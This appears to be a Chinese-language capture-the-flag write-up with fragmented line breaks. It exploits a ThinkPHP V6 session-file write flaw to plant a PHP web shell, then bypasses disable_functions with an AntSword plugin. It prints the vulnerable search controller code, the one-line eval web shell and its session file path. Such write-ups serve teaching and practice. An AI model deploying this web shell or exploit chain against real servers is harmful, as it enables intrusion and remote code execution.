thinkphpV6
任意文件操作漏洞,代码分析写入session
文件的参数,源码泄露,使用蚁剑插件disable_functions
绕过终端无回显ret=127
hint
。在找写入session
文件内容的参数的时候了解到该题还存在网站源码泄露,输入www.zip
可以看到网站结构wp
了解到写入session
数据的关键参数就是搜索界面所搜索的内容,该参数会在后续的漏洞中将搜索的内容存入到构建的session
文件中public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]); //注意这里,直接将搜索的内容写入了服务器生成的SESSION文件中
return View::fetch("result",["res" => "There's nothing here"]);
}
}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}
}
thinkphp
框架,输入错误的目录报错得到框架的版本为V6,一般涉及到thinkphp
框架的ctf
题,都和历史漏洞离不开关系了,直接搜索历史漏洞了解到任意文件操作的漏洞session
的值为一个文件名,必须满足32长度。关键的点在于要找到能写入session
文件内容的参数,通过上面的了解就是搜索界面了。这样子前期工作就完成了,接下来只需要搜索内容就会把搜索的内容写入到/runtime/session/sess_文件名
中,只要访问该目录就能访问到该文件,所以直接写入一句话木马进行蚁剑连接修改登录界面的session值 全局共用登录界面的session,也是后续生成的session文件名,以php结尾,满足session解析的32位
写入session文件内容的参数 通过网站泄露的源码得知,搜索界面搜索的内容会直接写入到session文件中
蚁剑连接 搜索一句话木马写入到文件中,服务器会生成保存session文件的目录为 /runtime/session/sess_文件名
到此文件名可控 文件内容可控 文件路径已知 就很明了了
session
文件.../runtime/session/sess_96d042989ab86ba2f8280c9ff8dc.php
,发现回显序列化字符串即代表成功成功写入文件,漏洞利用成功,直接蚁剑连接flag
需要使用readflag
读取,很是眼熟啊,打开虚拟终端,果然命令执行不会成功,回显ret=127
,继续使用之前用到的蚁剑插件disable_functions
,进行绕过,需要梯子下载readflag
,拿下flag
96d042989ab86ba2f8280c9ff8dc.php
<?php eval($_POST[a]);?>
/runtime/session/sess_96d042989ab86ba2f8280c9ff8dc.php